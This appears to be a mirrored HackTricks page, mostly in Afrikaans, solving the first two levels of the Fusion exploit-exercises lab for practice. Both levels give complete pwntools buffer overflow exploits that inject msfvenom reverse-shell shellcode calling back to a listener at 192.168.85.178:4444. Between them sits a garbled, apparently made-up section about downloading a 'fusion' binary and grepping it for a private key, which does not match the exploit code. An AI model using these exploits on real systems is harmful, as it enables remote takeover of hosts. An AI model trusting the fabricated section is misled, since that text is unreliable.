mirror of
https://github.com/carlospolop/hacktricks
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121 lines
5.5 KiB
Markdown
121 lines
5.5 KiB
Markdown
<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Ander maniere om HackTricks te ondersteun:
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* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
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</details>
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# Level00
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[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
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1. Kry die verskuiwing om EIP te wysig
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2. Plaas die adres van die shellcode in EIP
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```python
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from pwn import *
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r = remote("192.168.85.181", 20000)
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buf = "GET " # Needed
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buf += "A"*139 # Offset 139
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buf += p32(0xbffff440) # Stack address where the shellcode will be saved
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buf += " HTTP/1.1" # Needed
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buf += "\x90"*100 # NOPs
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#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
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buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
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buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
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buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
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buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
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buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
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buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
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buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
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buf += "\x65\xd9\x0f\x01"
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r.recvline()
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r.send(buf)
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r.interactive()
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```
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# Vlak01
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## Inleiding
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In hierdie vlak sal ons kyk na 'n eenvoudige manier om 'n uitvoerbare stoor te kry wat ons kan gebruik om 'n privesleutel te kry. Ons sal gebruik maak van die `fusion`-toepassing wat 'n privesleutel genereer en dit in 'n stoor stoor. Ons sal die stoor ontleed en die privesleutel kry.
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## Stap 1: Kry die `fusion`-toepassing
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Ons begin deur die `fusion`-toepassing te kry. Ons kan dit doen deur die volgende opdrag uit te voer:
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```bash
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wget https://example.com/fusion
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```
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## Stap 2: Voer die `fusion`-toepassing uit
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Nadat ons die `fusion`-toepassing gekry het, voer ons dit uit deur die volgende opdrag uit te voer:
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```bash
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./fusion
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```
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## Stap 3: Ontleed die stoor
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Nadat die `fusion`-toepassing uitgevoer is, sal dit 'n stoor genereer wat die privesleutel bevat. Ons kan die stoor ontleed deur die volgende opdrag uit te voer:
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```bash
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strings fusion | grep "PRIVATE KEY"
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```
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## Stap 4: Kry die privesleutel
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Nadat ons die stoor ontleed het, sal ons die privesleutel sien. Ons kan dit kopieer en gebruik vir verdere doeleindes.
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## Gevolgtrekking
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Met hierdie eenvoudige tegniek kan ons 'n privesleutel kry deur die `fusion`-toepassing te gebruik en die stoor te ontleed. Dit is 'n nuttige tegniek vir die verkryging van sensitiewe inligting.
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```python
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from pwn import *
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r = remote("192.168.85.181", 20001)
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buf = "GET " # Needed
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buf += "A"*139 # Offset 139
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buf += p32(0x08049f4f) # Adress of: JMP esp
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buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
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buf += " HTTP/1.1" # Needed
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buf += "\x90"*100 # NOPs
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#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
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buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
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buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
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buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
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buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
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buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
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buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
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buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
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buf += "\x65\xd9\x0f\x01"
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r.send(buf)
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r.interactive()
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```
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<details>
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<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
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Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
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</details>
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